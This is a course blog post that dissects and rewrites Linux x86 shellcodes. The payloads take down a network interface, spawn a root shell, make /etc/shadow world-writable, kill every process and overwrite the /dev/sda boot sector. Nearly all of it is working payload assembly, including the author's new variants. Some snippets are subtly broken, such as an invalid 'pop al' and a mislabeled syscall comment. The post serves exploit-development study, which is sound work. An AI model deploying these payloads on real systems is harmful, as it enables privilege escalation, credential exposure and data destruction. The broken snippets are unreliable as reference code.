As part of the SecurityTube SLAE course, I’m going to dissect 3 shellcodes from shell-storm.org and then also create variants of 3 shellcodes from shell-storm.org. Here they are:

http://www.shell-storm.org/shellcode/files/shellcode-67.php: This is a very well optimized shellcode. The shellcode is designed to run the ‘ifconfig eth0 down’ command which will take down the eth0 network interface under Linux. My analysis is as follows:

push   $0xb		;Push 0xb (11) on to the stack
pop    %eax		;Pop the stack into eax. Now eax eq 0xb (11)
cltd			;Extend the sign of eax(0) -> edx. i.e. zero edx
push   %edx		;Push 0x00000000 to the stack
push   $0x6e776f64	;Push 'down' in reverse
mov    %esp,%esi	;Move a pointer to 'down' in to esi
push   %edx		;Push 0x00000000 to the stack
push   $0x30687465	;Push 'eth0' in reverse
mov    %esp,%ecx	;Move a pointer to 'eth0' in to ecx
push   %edx		;Push 0x00000000 to the stack
push   $0x6769666e	;nfig
push   $0x6f636669	;ifco
push   $0x2f2f6e69	;in//
push   $0x62732f2f	;//sb
mov    %esp,%ebx	;Push pointer to //sbin//ifconfig
push   %edx		;Push 0x00000000
push   %esi		;Push pointer to 'down'
push   %ecx		;Push pointer to 'eth0'
push   %ebx		;Push pointer to '//sbin//ifconfig'
mov    %esp,%ecx	;Move the stack pointer to ecx for call below
int    $0x80		;Call system call (0xb) - execve

This shellcode passes the required data onto the stack, and then ultimately puts a pointer to that created stack into ‘ecx’ before calling the ‘execve’ system call. At the time the call is made the stack looks as follows from top to bottom:

[ptr to //sbin//ifconfig] 
[ptr to eth0] 
[ptr to down][0x00000000] 
[//sbin//ifconfig] 
[0x00000000] 
[eth0] 
[0x00000000] 
[down] 
[0x00000000]

The shellcode http://www.shell-storm.org/shellcode/files/shellcode-491.php is entitled ‘/bin/sh polymorphic shellcode’. My analysis is as follows:

xor    %eax,%eax	;Set eax to 0
push   %eax		;Push 0x00000000 to stack
push   $0x68732f2f	;Push //sh to stack
push   $0x6e69622f	;Push /bin to stack
mov    %esp,%ebx	;Move ptr to /bin//sh into ebx
push   %eax		;Push 0x00000000 to stack
push   %ebx		;Push ptr to /bin//sh to stack
mov    %esp,%ecx	;Move ptr to ptrs to ecx
cltd   			;Extend sign flag from eax to edx (clear edx)
mov    $0xb,%al		;Move 0xb (11) to al (syscall 'execve')
int    $0x80		;Execute execve() syscall

I don’t see anything polymorphic about this shellcode, but it is a very well written and concise shellcode.

The shellcode at http://www.shell-storm.org/shellcode/files/shellcode-355.php is billed to change the permissions on /etc/shadow to 666. This makes it read and write for all. Let’s analyse it:

jmp     0x17		;jmp to **
popl    %esia		;++Pop "/etc/shadow" into esi
xorl    %ecx, %ecx	;set ecx to 0
movb    %ecx, 0xb(%esi);Move byte 0x00 in cl to null terminate /etc/shadow
leal    (%esi), %ebx	;Move address of /etc/shadow to ebx
movw    $0x1b6, %cx 	;Move 0x1b6 (0x666 in octal) to cx
xorl    %eax, %eax	;set eax to 0
movb    $0xf, %al	;Move 0xf (15) to al (syscall chmod)
int     $0x80		;Call chmod(const char *filename, mode_t mode)
xorl    %eax, %eax	;set eax to 0
inc     %eax		;set eax to 1 (syscall exit)
int     $0x80		;call exit()
call    -0x1c		;** call ++"/etc/shadow";

The shellcode above is a compact shellcode, and uses the clever ‘jmp, call, pop’ trick in order to avoid using absolute addressing. On starting, we jump straight to ‘call –x1c’ at the bottom. Once we reach that statement, we then call the function 28 bytes (-0x1c) previous which is the second line of our code ‘pop esi’. The ‘call’ opcode however pushes the next address, i.e. “/etc/shadow” on to the stack, which allows ‘pop esi’ to pop it off the stack and into esi. This shortcut allows us to get the address of “/etc/shadow” into esi without having to deal with absolute addressing which would be useless for shellcode.

Polymorphic changes to shellcode:

The shellcode at http://www.shell-storm.org/shellcode/files/shellcode-220.php is to call setresuid() before launching a /bin/sh shell:

;setresuid(0,0,0)
xor eax, eax	;zero eax
xor ebx, ebx	;zero ebx
xor ecx, ecx	;zero ecx
cdq		;extend eax to edx (zero edx)
mov al, 0xa4	;move 0xa4 (setreuid) to al
int 0x80	;call setresuid()

;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11		;execve
pop eax			;pop into eax
push ecx		;push 0x00000000
push 0x68732f2f		;push //sh
push 0x6e69622f		;push /bin
mov ebx, esp		;move pointer to /bin//sh to ebx
push ecx		;push 0x00000000 to stack
mov edx, esp		;move pointer to 0x00000000 to edx
push ebx		;push ptr to /bin//sh to stack
mov ecx, esp		;push pointer to ptr array to ecx
int 0x80		;call execve()

Here is my rewrite:

;setresuid(0,0,0)	;shorter!
xor ebx, ebx		;zero ebx
mul ebx			;multiply eax by 0 (0). eax=0 and extend to edx=0
mov ecx, ebx		;move 0 to ecx
mov BYTE al, 0xa4	;move 0xa4 to al (setresuid)
int 0x80		;call setresuid

push BYTE 11		;Push 11 to stack
pop eax			;Pop 11 back into eax
push ebx		;Push 0x00000000 to stack
push 0x68732f6e		;push n/sh
push 0x69622f2f		;push //bi
mov ebx, esp		;move ptr to //bin/sh to ebx
push edx		;push 0x00000000 to stack
mov edx, esp		;move ptr to 0x00000000 to edx
push ebx		;push ptr to //bin/sh to stack
mov ecx, esp		;move ptr to ptr array 
int 0x80		;call execve()

The shellcode at http://www.shell-storm.org/shellcode/files/shellcode-564.php kills everything:

mov al, 37	;syscall kill()
push byte -1
pop ebx		;-1 (everything)
mov cl, 9	;SIGKILL (9)
int 0x80	;call kill()

The issue with this shellcode, is that registers are not sanitized correctly first. Here is a modified version:

xor eax, eax
xor ebx, ebx
dec ebx
xor ecx, ecx
mov cl,9
mov al, 37	;syscall kill()
int 0x80	;call kill()

This shellcode writes “LOL!” 128 times over the beginning of the drive /dev/sda
http://www.shell-storm.org/shellcode/files/shellcode-565.php:

; open("/dev/sda", O_WRONLY);
mov al, 5
xor ecx, ecx
push ecx
push dword 0x6164732f
push dword 0x7665642f
mov ebx, esp
inc ecx
int 0x80
 
; write(fd, "LOL!"x128, 512);
mov ebx, eax
mov al, 4
cdq
push edx
mov cl, 128
fill:
        push dword 0x214c4f4c	
loop fill
mov ecx, esp
inc edx
shl edx, 9
int 0x80

And my modified version is:

; open("/dev/sda", O_WRONLY);
xor ebx, ebx			;set ebx to zero
mul ebx				;set eax and edx to zero
mov al, 5			;write
mov ecx, ebx			;set ecx to 0
push edx			;push 0 to stack
push dword 0x6164732f		;/sda
push dword 0x7665642f		;/dev
mov ebx, esp			;mov ptr to /dev/sda to ebx
inc ecx				;set ecx=1
int 0x80			;call open()
 
; write(fd, "LOL!"x128, 512);
mov ebx, eax			;move resulting fd from open to ebx
push byte 0x4
pop al				;syscall write()
push edx			;push 0x00000000
shl ecx, 7			;set ecx=128
fill:
	push dword 0x214c4f4c	;push lol!x128
	dec cl
	jnz fill
mov ecx, esp			;move ptr to lol!x128 to ecx
inc edx				;edx=1
shl edx, 9			;set edx 512
int 0x80			;execute write()

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-158